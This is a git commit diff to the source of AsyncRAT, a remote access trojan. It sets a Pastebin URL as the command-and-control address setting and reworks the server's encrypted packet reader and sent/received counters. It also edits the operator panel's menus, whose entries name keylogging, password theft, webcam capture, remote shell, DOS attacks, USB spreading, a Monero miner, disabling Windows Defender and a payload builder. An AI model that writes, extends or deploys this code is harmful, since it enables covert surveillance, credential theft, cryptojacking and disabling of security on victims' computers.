update
This commit is contained in:
parent
154f4b4123
commit
83fcab04fb
@ -24,7 +24,7 @@
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="Pastebin" serializeAs="String">
|
||||
<value />
|
||||
<value>https://pastebin.com/raw/s14cUU5G</value>
|
||||
</setting>
|
||||
<setting name="IP" serializeAs="String">
|
||||
<value />
|
||||
|
@ -23,6 +23,7 @@ namespace Server.Connection
|
||||
public ListViewItem LV2 { get; set; }
|
||||
public string ID { get; set; }
|
||||
private byte[] ClientBuffer { get; set; }
|
||||
private const int HeaderSize = 4;
|
||||
private int ClientBuffersize { get; set; }
|
||||
private bool ClientBufferRecevied { get; set; }
|
||||
private MemoryStream ClientMS { get; set; }
|
||||
@ -42,19 +43,18 @@ namespace Server.Connection
|
||||
try
|
||||
{
|
||||
SslClient.EndAuthenticateAsServer(ar);
|
||||
ClientBuffer = new byte[4];
|
||||
ClientBuffer = new byte[HeaderSize];
|
||||
ClientMS = new MemoryStream();
|
||||
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public async void ReadClientData(IAsyncResult ar)
|
||||
public void ReadClientData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -68,40 +68,48 @@ namespace Server.Connection
|
||||
int Recevied = SslClient.EndRead(ar);
|
||||
if (Recevied > 0)
|
||||
{
|
||||
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
||||
if (!ClientBufferRecevied)
|
||||
switch (ClientBufferRecevied)
|
||||
{
|
||||
if (ClientMS.Length == 4)
|
||||
{
|
||||
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
if (ClientBuffersize > 0)
|
||||
case false:
|
||||
{
|
||||
ClientBuffer = new byte[ClientBuffersize];
|
||||
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||
ClientBufferRecevied = true;
|
||||
ClientMS.Write(ClientBuffer, 0, Recevied);
|
||||
if (ClientMS.Length == HeaderSize)
|
||||
{
|
||||
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
if (ClientBuffersize > 0)
|
||||
{
|
||||
ClientBuffer = new byte[ClientBuffersize];
|
||||
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||
ClientBufferRecevied = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.Received += Recevied;
|
||||
BytesRecevied += Recevied;
|
||||
if (ClientMS.Length == ClientBuffersize)
|
||||
{
|
||||
|
||||
ThreadPool.QueueUserWorkItem(new Packet
|
||||
case true:
|
||||
{
|
||||
client = this,
|
||||
data = ClientMS.ToArray(),
|
||||
}.Read, null);
|
||||
ClientMS.Write(ClientBuffer, 0, Recevied);
|
||||
lock (Settings.LockReceivedSendValue)
|
||||
Settings.ReceivedValue += Recevied;
|
||||
BytesRecevied += Recevied;
|
||||
if (ClientMS.Length == ClientBuffersize)
|
||||
{
|
||||
|
||||
ClientBuffer = new byte[4];
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
ClientBufferRecevied = false;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(new Packet
|
||||
{
|
||||
client = this,
|
||||
data = ClientMS.ToArray(),
|
||||
}.Read, null);
|
||||
|
||||
ClientBuffer = new byte[HeaderSize];
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
ClientBufferRecevied = false;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
||||
}
|
||||
@ -184,7 +192,8 @@ namespace Server.Connection
|
||||
bytesToRead -= chunkSize;
|
||||
SslClient.Write(chunk, 0, chunk.Length);
|
||||
SslClient.Flush();
|
||||
Settings.Sent += chunk.Length;
|
||||
lock (Settings.LockReceivedSendValue)
|
||||
Settings.SentValue += chunk.Length;
|
||||
} while (bytesToRead > 0);
|
||||
}
|
||||
}
|
||||
@ -192,7 +201,8 @@ namespace Server.Connection
|
||||
{
|
||||
SslClient.Write(buffer, 0, buffer.Length);
|
||||
SslClient.Flush();
|
||||
Settings.Sent += buffer.Length;
|
||||
lock (Settings.LockReceivedSendValue)
|
||||
Settings.SentValue += buffer.Length;
|
||||
}
|
||||
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
|
||||
}
|
||||
@ -216,7 +226,7 @@ namespace Server.Connection
|
||||
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
|
||||
msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
|
||||
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
|
||||
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
|
||||
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
106
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
106
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
@ -74,6 +74,8 @@
|
||||
this.chatToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
@ -127,8 +129,6 @@
|
||||
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
||||
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
||||
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
||||
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuClient.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.tabControl1.SuspendLayout();
|
||||
@ -245,20 +245,20 @@
|
||||
this.toolStripSeparator5,
|
||||
this.bUILDERToolStripMenuItem});
|
||||
this.contextMenuClient.Name = "contextMenuStrip1";
|
||||
this.contextMenuClient.Size = new System.Drawing.Size(249, 311);
|
||||
this.contextMenuClient.Size = new System.Drawing.Size(203, 278);
|
||||
//
|
||||
// aBOUTToolStripMenuItem
|
||||
//
|
||||
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
|
||||
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
|
||||
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.aBOUTToolStripMenuItem.Text = "ABOUT";
|
||||
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator2
|
||||
//
|
||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||
this.toolStripSeparator2.Size = new System.Drawing.Size(245, 6);
|
||||
this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6);
|
||||
//
|
||||
// sENDFILEToolStripMenuItem
|
||||
//
|
||||
@ -267,14 +267,14 @@
|
||||
this.tODISKToolStripMenuItem});
|
||||
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
|
||||
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
|
||||
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.sENDFILEToolStripMenuItem.Text = "Send File";
|
||||
//
|
||||
// tOMEMORYToolStripMenuItem
|
||||
//
|
||||
this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
|
||||
this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
|
||||
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
|
||||
this.tOMEMORYToolStripMenuItem.Text = "To Memory";
|
||||
this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
|
||||
//
|
||||
@ -282,7 +282,7 @@
|
||||
//
|
||||
this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
|
||||
this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
|
||||
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
|
||||
this.tODISKToolStripMenuItem.Text = "To Disk";
|
||||
this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
|
||||
//
|
||||
@ -298,14 +298,14 @@
|
||||
this.webcamToolStripMenuItem});
|
||||
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
|
||||
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
|
||||
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.monitoringToolStripMenuItem.Text = "Monitoring";
|
||||
//
|
||||
// remoteDesktopToolStripMenuItem1
|
||||
//
|
||||
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
|
||||
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
|
||||
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
|
||||
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -313,7 +313,7 @@
|
||||
//
|
||||
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
|
||||
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
|
||||
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.keyloggerToolStripMenuItem1.Text = "Keylogger";
|
||||
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -321,7 +321,7 @@
|
||||
//
|
||||
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
|
||||
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
|
||||
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
|
||||
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -329,7 +329,7 @@
|
||||
//
|
||||
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
|
||||
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
|
||||
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.fileManagerToolStripMenuItem1.Text = "File Manager";
|
||||
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -337,7 +337,7 @@
|
||||
//
|
||||
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
|
||||
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
|
||||
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.processManagerToolStripMenuItem1.Text = "Process Manager";
|
||||
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -348,7 +348,7 @@
|
||||
this.stopToolStripMenuItem2});
|
||||
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
|
||||
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
|
||||
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
|
||||
this.reportWindowToolStripMenuItem.Text = "Report Window";
|
||||
//
|
||||
// runToolStripMenuItem1
|
||||
@ -369,7 +369,7 @@
|
||||
//
|
||||
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
|
||||
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
|
||||
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
|
||||
this.webcamToolStripMenuItem.Text = "Webcam";
|
||||
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
|
||||
//
|
||||
@ -385,14 +385,14 @@
|
||||
this.xMRMinerToolStripMenuItem});
|
||||
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
|
||||
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
|
||||
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
|
||||
//
|
||||
// botsKillerToolStripMenuItem
|
||||
//
|
||||
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
|
||||
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
|
||||
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
|
||||
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
|
||||
//
|
||||
@ -400,7 +400,7 @@
|
||||
//
|
||||
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
|
||||
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
|
||||
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
|
||||
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -408,7 +408,7 @@
|
||||
//
|
||||
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
|
||||
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
|
||||
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
|
||||
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
|
||||
//
|
||||
@ -416,7 +416,7 @@
|
||||
//
|
||||
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
|
||||
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
|
||||
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
|
||||
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
|
||||
//
|
||||
@ -424,7 +424,7 @@
|
||||
//
|
||||
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
|
||||
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
|
||||
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
|
||||
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
|
||||
//
|
||||
@ -432,7 +432,7 @@
|
||||
//
|
||||
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
|
||||
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
|
||||
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
|
||||
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
|
||||
//
|
||||
@ -443,14 +443,14 @@
|
||||
this.killToolStripMenuItem});
|
||||
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
|
||||
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
|
||||
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
|
||||
//
|
||||
// runToolStripMenuItem
|
||||
//
|
||||
this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
|
||||
this.runToolStripMenuItem.Name = "runToolStripMenuItem";
|
||||
this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
|
||||
this.runToolStripMenuItem.Text = "Run";
|
||||
this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click);
|
||||
//
|
||||
@ -458,7 +458,7 @@
|
||||
//
|
||||
this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
|
||||
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||
this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
|
||||
this.killToolStripMenuItem.Text = "Stop";
|
||||
this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click);
|
||||
//
|
||||
@ -473,7 +473,7 @@
|
||||
this.disableWindowsDefenderToolStripMenuItem});
|
||||
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
|
||||
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
|
||||
this.extraToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.extraToolStripMenuItem.Text = "Extra";
|
||||
//
|
||||
// visitWebsiteToolStripMenuItem1
|
||||
@ -518,6 +518,22 @@
|
||||
this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
|
||||
this.blankScreenToolStripMenuItem.Text = "Blank Screen";
|
||||
//
|
||||
// runToolStripMenuItem2
|
||||
//
|
||||
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
|
||||
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
|
||||
this.runToolStripMenuItem2.Size = new System.Drawing.Size(152, 34);
|
||||
this.runToolStripMenuItem2.Text = "Run";
|
||||
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
|
||||
//
|
||||
// stopToolStripMenuItem1
|
||||
//
|
||||
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
|
||||
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
|
||||
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(152, 34);
|
||||
this.stopToolStripMenuItem1.Text = "Stop";
|
||||
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
|
||||
//
|
||||
// disableWindowsDefenderToolStripMenuItem
|
||||
//
|
||||
this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
|
||||
@ -533,7 +549,7 @@
|
||||
this.pCToolStripMenuItem});
|
||||
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
|
||||
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
|
||||
this.systemToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.systemToolStripMenuItem.Text = "System";
|
||||
//
|
||||
// clientToolStripMenuItem
|
||||
@ -547,7 +563,7 @@
|
||||
this.showFolderToolStripMenuItem});
|
||||
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
|
||||
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
|
||||
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||
this.clientToolStripMenuItem.Text = "Client";
|
||||
//
|
||||
// closeToolStripMenuItem1
|
||||
@ -598,7 +614,7 @@
|
||||
this.shutdownToolStripMenuItem1});
|
||||
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
|
||||
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
|
||||
this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||
this.pCToolStripMenuItem.Text = "PC";
|
||||
//
|
||||
// logoffToolStripMenuItem1
|
||||
@ -625,7 +641,7 @@
|
||||
// toolStripSeparator1
|
||||
//
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(245, 6);
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6);
|
||||
//
|
||||
// serverToolStripMenuItem
|
||||
//
|
||||
@ -633,27 +649,27 @@
|
||||
this.blockClientsToolStripMenuItem});
|
||||
this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server;
|
||||
this.serverToolStripMenuItem.Name = "serverToolStripMenuItem";
|
||||
this.serverToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.serverToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.serverToolStripMenuItem.Text = "Server";
|
||||
//
|
||||
// blockClientsToolStripMenuItem
|
||||
//
|
||||
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
|
||||
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
|
||||
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||
this.blockClientsToolStripMenuItem.Text = "Block Clients";
|
||||
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator5
|
||||
//
|
||||
this.toolStripSeparator5.Name = "toolStripSeparator5";
|
||||
this.toolStripSeparator5.Size = new System.Drawing.Size(245, 6);
|
||||
this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6);
|
||||
//
|
||||
// bUILDERToolStripMenuItem
|
||||
//
|
||||
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
|
||||
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
|
||||
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
|
||||
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.bUILDERToolStripMenuItem.Text = "BUILDER";
|
||||
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
|
||||
//
|
||||
@ -908,14 +924,14 @@
|
||||
//
|
||||
this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1";
|
||||
this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
|
||||
this.minerToolStripMenuItem1.Text = "Miner XMR";
|
||||
this.minerToolStripMenuItem1.Text = "XMR MINER";
|
||||
this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click);
|
||||
//
|
||||
// uPDATEToolStripMenuItem1
|
||||
//
|
||||
this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1";
|
||||
this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
|
||||
this.uPDATEToolStripMenuItem1.Text = "UPDATE";
|
||||
this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS";
|
||||
this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click);
|
||||
//
|
||||
// toolStripSeparator4
|
||||
@ -953,22 +969,6 @@
|
||||
this.TimerTask.Interval = 5000;
|
||||
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
||||
//
|
||||
// runToolStripMenuItem2
|
||||
//
|
||||
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
|
||||
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
|
||||
this.runToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
|
||||
this.runToolStripMenuItem2.Text = "Run";
|
||||
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
|
||||
//
|
||||
// stopToolStripMenuItem1
|
||||
//
|
||||
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
|
||||
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
|
||||
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.stopToolStripMenuItem1.Text = "Stop";
|
||||
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
|
@ -278,7 +278,7 @@ namespace Server
|
||||
{
|
||||
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
|
||||
lock (Settings.LockListviewClients)
|
||||
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
|
||||
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.SentValue).ToString()} Received {Methods.BytesToString(Settings.ReceivedValue).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
93
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
93
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
@ -51,6 +51,8 @@ namespace Server.Forms
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.label4 = new System.Windows.Forms.Label();
|
||||
this.groupBox3 = new System.Windows.Forms.GroupBox();
|
||||
this.numDelay = new System.Windows.Forms.NumericUpDown();
|
||||
this.label16 = new System.Windows.Forms.Label();
|
||||
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||
this.chkBdos = new System.Windows.Forms.CheckBox();
|
||||
this.txtMutex = new System.Windows.Forms.TextBox();
|
||||
@ -63,6 +65,7 @@ namespace Server.Forms
|
||||
this.tabPage3 = new System.Windows.Forms.TabPage();
|
||||
this.tabPage4 = new System.Windows.Forms.TabPage();
|
||||
this.groupBox4 = new System.Windows.Forms.GroupBox();
|
||||
this.btnClone = new System.Windows.Forms.Button();
|
||||
